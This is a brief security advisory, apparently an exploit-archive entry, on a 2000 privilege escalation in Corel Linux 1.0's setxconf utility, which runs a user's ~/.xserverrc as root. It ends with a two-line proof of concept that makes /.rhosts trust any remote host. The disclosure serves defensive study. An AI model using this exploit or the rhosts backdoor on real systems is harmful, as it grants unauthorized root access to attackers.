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Corel Linux OS 1.0 - 'setxconf' Local Privilege Escalation

🗓️ 24 Feb 2000 00:00:00Reported by suidType 
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Local privilege escalation vulnerability in Corel Linux OS 1.0 using setxconf utility.

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source: https://www.securityfocus.com/bid/1008/info

A vulnerability exists in the setxconf utility, as shipped with Corel Linux 1.0. The -T option to setxconf will run xinit, which euid root. xinit, when executed, will invoke the contents on ~/.xserverrc. A malicious user could therefore execute commands as root.

cat > ~/.xserverrc
echo "+ +" > /.rhosts

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